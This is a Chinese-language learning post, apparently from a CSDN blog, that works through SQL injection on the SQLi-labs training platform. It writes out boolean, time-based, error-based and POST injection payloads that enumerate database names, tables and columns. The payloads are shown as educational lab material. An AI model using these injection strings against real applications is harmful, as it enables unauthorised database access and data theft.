SQL注入学习#3

MySQL注入实例五——盲注

平台:SQli-labs

Less-5

1.基于布尔的盲注

布尔盲注理论基础(无回显通过返回真假判断数据)
https://blog.csdn.net/weixin_45146120/article/details/100104131

观察页面并寻找注入点
/?id=1
在这里插入图片描述
/?id=1’
在这里插入图片描述

用Left函数猜测数据库版本,第一位是否为1(若错误则无回显)
/?id=1’and left(version(),1)=1%23在这里插入图片描述
使用length()获取数据库长度
/?id=1%27and%20length(database())=8%23
在这里插入图片描述
使用left()判断数据库名称第一位是否大于a
/?id=1%27and%20left(database(),1)>%27a%27–+
在这里插入图片描述
使用ascii()判断第一张表首字母是否为e:
/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+
在这里插入图片描述
使用regexp获取users 表中的列
/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27
在这里插入图片描述
使用ord()和mid()函数获取users 表的内容
/?id=1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+
在这里插入图片描述

2.基于时间的盲注

基于时间的盲注理论基础
https://blog.csdn.net/heibaikong6/article/details/100836414

使用sleep()函数猜测数据库名
/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
在这里插入图片描述

使用BENCHMARK()函数猜测数据库名
/?id=1’UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 FROM (select database() as current) as tb1–+
在这里插入图片描述

3.基于报错的盲注

基于报错的盲注理论基础
https://blog.csdn.net/qq_35544379/article/details/77453019

使用XPATH语法错误获取数据库版本
/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))%20–+
在这里插入图片描述
/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)%20–+
在这里插入图片描述
使用mysql重复特性猜测数据库版本号
在这里插入图片描述

  • Floor函数报错原理分析:
    如果count(*)和group by同时在SQL语句中,就会产生虚拟表;
    向虚拟表插入数据包含两个动作:1. 检查主键是否存在;2.如果不存在,就插入新主键;存在就计数加1
    如何构造主键值重复:floor(rand(0)*2)

4.POST盲注

通过对输入框进行传参,可以被带入数据库进行的查询
注入条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询

Less-11

一.post盲注概念
1.首先post盲注和get盲注一样,只是不会拼接到url中
2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等,请求数据会包含在请求体中
3.使用post方法时,查询字符在post信息中单独存在,和http请求一起发送到服务器

特点:
1.POST请求不能被缓存下来
2.POST请求不会保存在浏览器浏览记录中
3.以POST请求的URL无法保存为浏览器书签
4.POST请求没有长度限制

找到注入点
在这里插入图片描述
使用单引号闭合
在这里插入图片描述
使用union注入获取数据库名
1admin’union select 1,database()#
在这里插入图片描述
使用基于时间的盲注猜测数据库名
admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&
在这里插入图片描述

5.http头部注入

参考链接:https://blog.csdn.net/weixin_45146120/article/details/100588267
原理:一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
条件:
1.能够对请求头消息进行修改,
2.修改的请求头信息能够带入数据库的查询
3.数据库没有对输入的请求信息做过滤

6.堆叠注入

参考链接:https://blog.csdn.net/weixin_45146120/article/details/101037211

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值